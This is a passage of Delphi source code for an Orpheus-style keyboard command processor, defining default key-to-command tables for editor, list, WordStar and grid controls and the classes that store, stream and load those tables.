SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccCut), (Key1:VK_X; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCut), (Key1:VK_INSERT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCopy), (Key1:VK_C; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCopy), (Key1:VK_INSERT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccPaste), (Key1:VK_V; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccPaste), (Key1:VK_PRIOR; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccPrevPage), (Key1:VK_NEXT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccNextPage), (Key1:VK_HOME; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccFirstPage), (Key1:VK_END; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccLastPage), (Key1:VK_TAB; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccTab), (Key1:VK_TAB; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccTab), (Key1:VK_Z; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccRedo), (Key1:VK_BACK; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDelWordLeft), (Key1:VK_DELETE; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDelWordRight), (Key1:VK_0; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker0), (Key1:VK_1; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker1), (Key1:VK_2; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker2), (Key1:VK_3; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker3), (Key1:VK_4; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker4), (Key1:VK_5; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker5), (Key1:VK_6; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker6), (Key1:VK_7; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker7), (Key1:VK_8; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker8), (Key1:VK_9; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccGotoMarker9), (Key1:VK_0; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker0), (Key1:VK_1; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker1), (Key1:VK_2; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker2), (Key1:VK_3; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker3), (Key1:VK_4; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker4), (Key1:VK_5; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker5), (Key1:VK_6; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker6), (Key1:VK_7; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker7), (Key1:VK_8; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker8), (Key1:VK_9; SS1:ss_Ctrl+ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccSetMarker9)); {V} DefListMaxCommands = 36; DefListCommandTable : array[0..DefListMaxCommands-1] of TOvcCmdRec = ( {Key #1 Shift state #1 Key #2 Shift state #2 Command} (Key1:VK_LEFT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccLeft), (Key1:VK_RIGHT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccRight), (Key1:VK_HOME; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccHome), (Key1:VK_END; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccEnd), (Key1:VK_UP; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccUp), (Key1:VK_DOWN; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDown), (Key1:VK_LEFT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendLeft), (Key1:VK_RIGHT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendRight), (Key1:VK_HOME; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendHome), (Key1:VK_END; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendEnd), (Key1:VK_PRIOR; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgUp), (Key1:VK_NEXT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgDn), (Key1:VK_UP; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendUp), (Key1:VK_DOWN; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendDown), (Key1:VK_HOME; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtFirstPage), (Key1:VK_END; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtLastPage), (Key1:VK_PRIOR; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccPrevPage), (Key1:VK_NEXT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccNextPage), (Key1:VK_HOME; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccFirstPage), (Key1:VK_END; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccLastPage), (Key1:VK_DELETE; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDel), (Key1:VK_INSERT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccIns), (Key1:VK_Space; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccSelect), (Key1:VK_A; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccAllSelect), (Key1:VK_Subtract; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccAllDeselect), (Key1:VK_Multiply; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccAllInvselect), (Key1:VK_Return; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccActionItem), (Key1:VK_Return; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccActionItem), (Key1:VK_Add; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccTreeExpand), (Key1:VK_Add; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccTreeAllExpand), (Key1:VK_Left; SS1:ss_Alt; Key2:VK_NONE; SS2:ss_None; Cmd:ccMoveLeft), (Key1:VK_Right; SS1:ss_Alt; Key2:VK_NONE; SS2:ss_None; Cmd:ccMoveRight), (Key1:VK_Up; SS1:ss_Alt; Key2:VK_NONE; SS2:ss_None; Cmd:ccMoveUp), (Key1:VK_Down; SS1:ss_Alt; Key2:VK_NONE; SS2:ss_None; Cmd:ccMoveDown), (Key1:VK_DOWN; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccFastFindNext), (Key1:VK_SUBTRACT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccTreeCollapse)); {default WordStar command-key table} DefWsMaxCommands = 40 + 2{добавлены} - 14{удалены}; DefWsCommandTable : array[0..DefWsMaxCommands-1] of TOvcCmdRec = ( {Key #1 Shift state #1 Key #2 Shift state #2 Command} {Удалены за ненадобностью (Key1:VK_S; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccLeft), (Key1:VK_D; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccRight), (Key1:VK_E; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccUp), (Key1:VK_X; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDown), (Key1:VK_R; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccPrevPage), (Key1:VK_C; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccNextPage), (Key1:VK_W; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccScrollUp), (Key1:VK_Z; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccScrollDown), (Key1:VK_A; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccWordLeft), (Key1:VK_F; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccWordRight), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_S; SS2:ss_Wordstar; Cmd:ccHome), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_D; SS2:ss_Wordstar; Cmd:ccEnd), (Key1:VK_G; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDel), (Key1:VK_H; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccBack), } (Key1:VK_Y; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDelLine), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_Y; SS2:ss_Wordstar; Cmd:ccDelEol), (Key1:VK_V; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccIns), (Key1:VK_T; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccDelWord), (Key1:VK_P; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCtrlChar), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_L; SS2:ss_Wordstar; Cmd:ccRestore), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_0; SS2:ss_Wordstar; Cmd:ccGotoMarker0), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_1; SS2:ss_Wordstar; Cmd:ccGotoMarker1), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_2; SS2:ss_Wordstar; Cmd:ccGotoMarker2), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_3; SS2:ss_Wordstar; Cmd:ccGotoMarker3), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_4; SS2:ss_Wordstar; Cmd:ccGotoMarker4), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_5; SS2:ss_Wordstar; Cmd:ccGotoMarker5), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_6; SS2:ss_Wordstar; Cmd:ccGotoMarker6), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_7; SS2:ss_Wordstar; Cmd:ccGotoMarker7), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_8; SS2:ss_Wordstar; Cmd:ccGotoMarker8), (Key1:VK_Q; SS1:ss_Ctrl; Key2:VK_9; SS2:ss_Wordstar; Cmd:ccGotoMarker9), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_0; SS2:ss_Wordstar; Cmd:ccSetMarker0), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_1; SS2:ss_Wordstar; Cmd:ccSetMarker1), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_2; SS2:ss_Wordstar; Cmd:ccSetMarker2), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_3; SS2:ss_Wordstar; Cmd:ccSetMarker3), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_4; SS2:ss_Wordstar; Cmd:ccSetMarker4), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_5; SS2:ss_Wordstar; Cmd:ccSetMarker5), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_6; SS2:ss_Wordstar; Cmd:ccSetMarker6), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_7; SS2:ss_Wordstar; Cmd:ccSetMarker7), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_8; SS2:ss_Wordstar; Cmd:ccSetMarker8), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_9; SS2:ss_Wordstar; Cmd:ccSetMarker9), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_B; SS2:ss_Wordstar; Cmd:ccStartSelBlock), (Key1:VK_K; SS1:ss_Ctrl; Key2:VK_K; SS2:ss_Wordstar; Cmd:ccEndSelBlock)); {default Orpheus Table command/key table} DefGridMaxCommands = 38; DefGridCommandTable : array[0..DefGridMaxCommands-1] of TOvcCmdRec = ( {Key #1 Shift state #1 Key #2 Shift state #2 Command} (Key1:VK_LEFT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccLeft), (Key1:VK_RIGHT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccRight), (Key1:VK_LEFT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccPageLeft), (Key1:VK_RIGHT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccPageRight), (Key1:VK_HOME; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccHome), (Key1:VK_END; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccEnd), (Key1:VK_DELETE; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDel), (Key1:VK_BACK; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccBack), (Key1:VK_NEXT; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccBotOfPage), (Key1:VK_PRIOR; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccTopOfPage), (Key1:VK_INSERT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccIns), (Key1:VK_Z; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccRestore), (Key1:VK_UP; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccUp), (Key1:VK_DOWN; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccDown), (Key1:VK_LEFT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendLeft), (Key1:VK_RIGHT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendRight), (Key1:VK_HOME; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendHome), (Key1:VK_END; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendEnd), (Key1:VK_LEFT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtWordLeft), (Key1:VK_RIGHT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtWordRight), (Key1:VK_PRIOR; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgUp), (Key1:VK_NEXT; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendPgDn), (Key1:VK_UP; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendUp), (Key1:VK_DOWN; SS1:ss_Shift; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtendDown), (Key1:VK_HOME; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtFirstPage), (Key1:VK_END; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtLastPage), (Key1:VK_PRIOR; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtTopOfPage), (Key1:VK_NEXT; SS1:ss_Shift+ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccExtBotOfPage), (Key1:VK_X; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCut), (Key1:VK_C; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccCopy), (Key1:VK_V; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccPaste), (Key1:VK_PRIOR; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccPrevPage), (Key1:VK_HOME; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccFirstPage), (Key1:VK_NEXT; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccNextPage), (Key1:VK_END; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccLastPage), (Key1:VK_UP; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccTopLeftCell), (Key1:VK_DOWN; SS1:ss_Ctrl; Key2:VK_NONE; SS2:ss_None; Cmd:ccBotRightCell), (Key1:VK_F2; SS1:ss_None; Key2:VK_NONE; SS2:ss_None; Cmd:ccTableEdit)); type {command processor states} TState = (stNone, stPartial, stLiteral); {user command notify event} TUserCommandEvent = function(Sender : TObject; Command : Word) : boolean of object; {forward class declarations} TOvcCommandProcessor = class; TOvcCommandTable = class(TPersistent) {.Z+} protected {private} FActive : Boolean; {true to use this command table} FCommandList : TList; {list of command/key mappings} FTableName : AnsiString; {the name of this command table} {property methods} function GetCmdRec(Index : Integer) : TOvcCmdRec; {-return the list item corresponding to "Index"} function GetCount : Integer; {-return the number of records in the list} procedure PutCmdRec(Index : Integer; const CR : TOvcCmdRec); {-store a new command entry to the list at "Index" position} {internal methods} procedure ctDisposeCommandEntry(P : POvcCmdRec); {-dispose of a command entry record} function ctNewCommandEntry(const CR : TOvcCmdRec): POvcCmdRec; {-allocate a new command entry record} procedure ctReadData(Reader : TReader); {-called to read the table from the stream} procedure ctWriteData(Writer : TWriter); {-called to store the table on the stream} protected procedure DefineProperties(Filer : TFiler); override; {.Z-} public constructor Create; destructor Destroy; override; function AddRec(const CR : TOvcCmdRec) : Integer; {-add a record to the list} procedure Clear; {-delete all records from the list} procedure Delete(Index : Integer); {-delete a record from the list} procedure Exchange(Index1, Index2 : Integer); {-exchange list locations of the two specified records} function IndexOf(const CR : TOvcCmdRec) : Integer; {-return the index of the specified record} procedure InsertRec(Index : Integer; const CR : TOvcCmdRec); {-insert a record at the specified index} procedure LoadFromFile(const FileName: AnsiString); {-read command entries from a text file} procedure Move(CurIndex, NewIndex : Integer); {-move one record to anothers index location} procedure SaveToFile(const FileName: AnsiString); {-write command entries to a text file} property Commands[Index : Integer] : TOvcCmdRec read GetCmdRec write PutCmdRec; default; property Count : Integer read GetCount stored False; property IsActive : Boolean read FActive write FActive; property TableName : AnsiString read FTableName write FTableName; end; TOvcExtCommandHandler = function (Command : Word) : Boolean of object; TOvcExtGlobalKeyHandler = function(aKeyCode: Byte; aShiftFlags: Byte): Boolean of object; TOvcTablesArray = array of AnsiString; TOvcCommandProcessor = class(Tl3ProtoPersistent, Il3CommandProcessor) {.Z+} protected {private} {property variables} f_LastTime : Cardinal; f_LastCommand : Word; f_LastCommands : TStringArray; f_LastTable : AnsiString; f_KeyDataListeners: TOvcKeyDataListenerList; FTableList : TList; {list of command tables} FExtTableName : AnsiString; {external table name} FStopExtTableName : AnsiString; {таблица исключений для external table} FOnExtCommand : TOvcExtCommandHandler; {internal variables} cpState : TState; {current state} cpSaveKey : Byte; {saved last key processed} cpSaveSS : Byte; {saved shift key state} {property methods} function GetCount: Integer; {-return the number of tables in the list} function GetTable(Index : Integer) : TOvcCommandTable; {-return the table referenced by "Index"} procedure SetTable(Index : Integer; CT : TOvcCommandTable); {-store a command table at position "Index"} {internal methods} function cpFillCommandRec(Key1, ShiftState1, Key2, ShiftState2 : Byte; Command : Word) : TOvcCmdRec; {-fill a command record} procedure cpReadData(Reader: TReader); {-called to read the command processor from the stream} function cpScanTable(CT : TOvcCommandTable; Key, SFlags : Byte) : Word; {-Scan the command table for a match} procedure cpWriteData(Writer: TWriter); {-called to store the command processor to the stream} function ProcessKeyDataListeners(aKey: Byte; aShiftFlags: Byte): Boolean; {-} protected procedure DefineProperties(Filer: TFiler); override; public constructor Create; reintroduce; procedure Cleanup; override; {.Z-} procedure Add(CT : TOvcCommandTable); {-add a command table to the list of tables} procedure AddCommand(const TableName: AnsiString; Key1, ShiftState1, Key2, ShiftState2 : Byte; Command : Word); overload; {-add a command and key sequence to the command table} function AddCommand(const TableName : AnsiString; Key1 : Byte; ShiftState1 : TShiftState = []; Key2 : Byte = 0; ShiftState2 : TShiftState = []; Command : Word = ccNone): Word; overload; {-add a command and key sequence to the command table} procedure AddCommandRec(const TableName: AnsiString; const CR : TOvcCmdRec); {-add a command record to the command table} procedure ChangeTableName(const OldName, NewName: AnsiString); {-change the name of a table} procedure Clear; virtual; {-delete all tables from the list} function CreateCommandTable(const TableName : AnsiString; Active : Boolean) : Integer; {-create a command table and add it to the table list} procedure Delete(Index : Integer); {-delete the "Index" table from the list of tables} procedure DeleteCommand(const TableName : AnsiString; Key1 : Byte; ShiftState1 : Byte = ss_None; Key2 : Byte = 0; ShiftState2 : Byte = ss_None); {-delete a command and key sequence from a command table} procedure DeleteCommandTable(const TableName : AnsiString); {-delete a command table and remove it from the table list} procedure Exchange(Index1, Index2 : Integer); {-exchange list locations of the two specified command tables} function GetCommandCount(const TableName : AnsiString) : Integer; {-return the number of commands in the command table} function GetCommandTable(const TableName : AnsiString) : TOvcCommandTable; {-return a pointer to the specified command table or nil} procedure GetState(var State : TState; var Key, Shift : Byte); {-return the current status of the command processor} function GetCommandTableIndex(const TableName : AnsiString) : Integer; {-return index to the specified command table or -1 for failure} function LoadCommandTable(const FileName : AnsiString) : Integer; virtual; {-creates and then fills a command table from a text file} procedure ResetCommandProcessor; {-reset the command processor} procedure SaveCommandTable(const TableName, FileName : AnsiString); virtual; {-save a command table to a text file} procedure SetScanPriority(const Names : array of AnsiString); {-reorder the list of tables based on this array} procedure SetState(State : TState; Key, Shift : Byte); {-set the state to the command processor} function GetTables: TOvcTablesArray; {-} function Translate(var Msg : TMessage; aTime : Cardinal = 0; const aTarget : Il3CommandTarget = nil) : Word; {-translate a message into a command} function TranslateUsing(const Tables : array of AnsiString; var Msg : TMessage; aTime : Cardinal; const aTarget : Il3CommandTarget = nil) : Word; {-translate a message into a command using the given tables} function TranslateKey(Key : Word; ShiftState : TShiftState) : Word; {-translate a key and shift-state into a command} function TranslateKeyUsing(Tables : array of AnsiString; Key : Word; ShiftState : TShiftState) : Word; {-translate a key and shift-state into a command using the given tables} procedure SubscribeGlobalKeyDataListener(const aListener: Il3KeyDataListener); {-} procedure UnsubscribeGlobalKeyDataListener(const aListener: Il3KeyDataListener); {-} property Count: Integer read GetCount stored False; property Table[Index : Integer]: TOvcCommandTable read GetTable write SetTable; default; property ExtTableName: AnsiString read FExtTableName write FExtTableName; property StopExtTableName: AnsiString read FStopExtTableName write FStopExtTableName; property OnExtCommand: TOvcExtCommandHandler read FOnExtCommand write FOnExtCommand; end; function OvcByteShift(aShift: TShiftState): Byte; implementation function OvcByteShift(aShift: TShiftState): Byte; begin result := ss_None; if ssShift in aShift then result := result or ss_Shift; if ssCtrl in aShift then result := result or ss_Ctrl; if ssAlt in aShift then result := result or ss_Alt; end; {*** TOvcCommandTable ***} function TOvcCommandTable.AddRec(const CR : TOvcCmdRec) : Integer; begin Result := GetCount; InsertRec(Result, CR); end; procedure TOvcCommandTable.Clear; var I: Integer; begin {dispose of all command records in the list} for I := 0 to FCommandList.Count - 1 do ctDisposeCommandEntry(FCommandList[I]); {clear the list entries} FCommandList.Clear; end; constructor TOvcCommandTable.Create; begin inherited Create; FTableName := scUnknownTable; FActive := True; FCommandList := TList.Create; end; procedure TOvcCommandTable.ctDisposeCommandEntry(P : POvcCmdRec); begin if Assigned(P) then FreeMem(P, SizeOf(TOvcCmdRec)); end; function TOvcCommandTable.ctNewCommandEntry(const CR : TOvcCmdRec): POvcCmdRec; begin GetMem(Result, SizeOf(TOvcCmdRec)); Result^ := CR; end; procedure TOvcCommandTable.ctReadData(Reader : TReader); var CR : TOvcCmdRec; procedure ReadAndCompareTable(CT : array of TOvcCmdRec); var I : Integer; Idx : Integer; begin {add all records initially} for I := 0 to High(CT) do AddRec(CT[I]); while not Reader.EndOfList do begin with CR, Reader do begin Keys := ReadInteger; Cmd := ReadInteger; end; {if keys on stream are dups replace default with redefinition} Idx := IndexOf(CR); if Idx > -1 then begin {if assigned to ccNone, remove instead of replace} if CR.Cmd = ccNone then Delete(Idx) else Commands[Idx] := CR end else AddRec(CR); end; end; begin FTableName := Reader.ReadString; FActive := Reader.ReadBoolean; Reader.ReadListBegin; Clear; if CompareText(scDefaultTableName, FTableName) = 0 then {if this is the "default" table, fill it with default commands} ReadAndCompareTable(DefCommandTable) else if CompareText(scWordStarTableName, FTableName) = 0 then {if this is the "wordstar" table, fill it with default commands} ReadAndCompareTable(DefWsCommandTable) else if CompareText(scGridTableName, FTableName) = 0 then {if this is the "grid" table, fill it with default commands} ReadAndCompareTable(DefGridCommandTable) else if CompareText(scListTableName, FTableName) = 0 then {if this is the "grid" table, fill it with default commands} ReadAndCompareTable(DefListCommandTable) else begin {otherwise, load complete command table from stream} while not Reader.EndOfList do begin with CR, Reader do begin Keys := ReadInteger; Cmd := ReadInteger; end; AddRec(CR); end; end; Reader.ReadListEnd; end; procedure TOvcCommandTable.ctWriteData(Writer : TWriter); var I : Integer; CR : TOvcCmdRec; procedure CompareAndWriteTable(CT : array of TOvcCmdRec); var I, J : Integer; Idx : Integer; begin {find commands in the CT table but missing from this table} for I := 0 to High(CT) do begin Idx := IndexOf(CT[I]); if Idx = -1 then begin {not found, store and assign to ccNone} with CT[I], Writer do begin WriteInteger(Keys); WriteInteger(ccNone); end; end; end; {store all commands in new table if they are additions to the CT table} for I := 0 to Count - 1 do begin CR := GetCmdRec(I); {search CT for a match} Idx := -1; for J := 0 to High(CT) do begin if (CR.Keys = CT[J].Keys) and (CR.Cmd = CT[J].Cmd) then begin Idx := J; Break; end; end; if Idx = -1 then begin {not found, store it} with CR, Writer do begin WriteInteger(Keys); WriteInteger(Cmd); end; end; end; end; begin Writer.WriteString(FTableName); Writer.WriteBoolean(FActive); Writer.WriteListBegin; {if this is the default command table, don't store command if not changed} if CompareText(scDefaultTableName, FTableName) = 0 then {if this is the "default" command table, don't store commands if not changed} CompareAndWriteTable(DefCommandTable) else if CompareText(scWordStarTableName, FTableName) = 0 then {if this is the "wordstar" command table, don't store commands if not changed} CompareAndWriteTable(DefWsCommandTable) else if CompareText(scGridTableName, FTableName) = 0 then {if this is the "grid" command table, don't store commands if not changed} CompareAndWriteTable(DefGridCommandTable) else if CompareText(scListTableName, FTableName) = 0 then {if this is the "grid" command table, don't store commands if not changed} CompareAndWriteTable(DefListCommandTable) else begin {otherwise, save the complete table} for I := 0 to Count - 1 do begin CR := GetCmdRec(I); with CR, Writer do begin WriteInteger(Keys); WriteInteger(Cmd); end; end; end; Writer.WriteListEnd; end; procedure TOvcCommandTable.DefineProperties(Filer : TFiler); begin inherited DefineProperties(Filer); Filer.DefineProperty('CommandList', ctReadData, ctWriteData, Count > 0); end; procedure TOvcCommandTable.Delete(Index : Integer); begin ctDisposeCommandEntry(FCommandList[Index]); FCommandList.Delete(Index); end; destructor TOvcCommandTable.Destroy; begin Clear; FCommandList.Free; FCommandList := nil; inherited; end; procedure TOvcCommandTable.Exchange(Index1, Index2 : Integer); begin FCommandList.Exchange(Index1, Index2); end; function TOvcCommandTable.GetCmdRec(Index : Integer) : TOvcCmdRec; begin Result := POvcCmdRec(FCommandList[Index])^; end; function TOvcCommandTable.GetCount : Integer; begin Result := FCommandList.Count; end; function TOvcCommandTable.IndexOf(const CR : TOvcCmdRec) : Integer; begin for Result := 0 to GetCount - 1 do if CR.Keys = GetCmdRec(Result).Keys then Exit; Result := -1; end; procedure TOvcCommandTable.InsertRec(Index : Integer; const CR : TOvcCmdRec); begin FCommandList.Expand.Insert(Index, ctNewCommandEntry(CR)); end; procedure TOvcCommandTable.LoadFromFile(const FileName: AnsiString); var T : System.Text; CR : TOvcCmdRec; begin Clear; {erase current contents of list} System.Assign(T, FileName); System.Reset(T); try {finally} ReadLn(T, FTableName); {get table name} while not Eof(T) do begin with CR do ReadLn(T, Key1, SS1, Key2, SS2, Cmd); AddRec(CR); end; finally System.Close(T); end; end; procedure TOvcCommandTable.Move(CurIndex, NewIndex : Integer); var CR : TOvcCmdRec; begin if CurIndex <> NewIndex then begin CR := GetCmdRec(CurIndex); Delete(CurIndex); InsertRec(NewIndex, CR); end; end; procedure TOvcCommandTable.PutCmdRec(Index : Integer; const CR : TOvcCmdRec); var P : POvcCmdRec; begin P := FCommandList[Index]; try FCommandList[Index] := ctNewCommandEntry(CR); finally ctDisposeCommandEntry(P); end; end; procedure TOvcCommandTable.SaveToFile(const FileName: AnsiString); var T : System.Text; I : Integer; CR : 